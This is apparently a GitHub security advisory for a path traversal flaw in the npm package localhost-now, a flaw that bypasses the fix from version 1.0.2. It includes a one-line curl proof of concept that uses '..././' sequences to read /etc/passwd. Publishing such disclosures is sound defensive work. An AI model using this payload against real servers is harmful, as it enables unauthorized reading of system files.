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Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTczY3ctanhtbS1xcGdo

Path Traversal in localhost-now

All versions of localhost-now are vulnerable to path traversal. This vulnerability is a bypass to the path traversal fix introduced in version 1.0.2

Proof of concept:

$ curl -v --path-as-is "http://IP:5432/..././..././..././..././..././..././..././..././..././..././etc/passwd" 

Recommendation

No fix is currently available for this vulnerability. It is our recommendation to not install or use this module until a fix is available.

Permalink: https://github.com/advisories/GHSA-73cw-jxmm-qpgh
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Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: over 5 years ago
Updated: almost 2 years ago

Identifiers: GHSA-73cw-jxmm-qpgh
References:

• https://hackerone.com/reports/329837
• https://github.com/DCKT/localhost-now/blob/master/lib/app.js#L17
• https://www.npmjs.com/advisories/655
• https://github.com/advisories/GHSA-73cw-jxmm-qpgh

Repository: https://github.com/DCKT/localhost-now
Blast Radius: 0.0

Affected Packages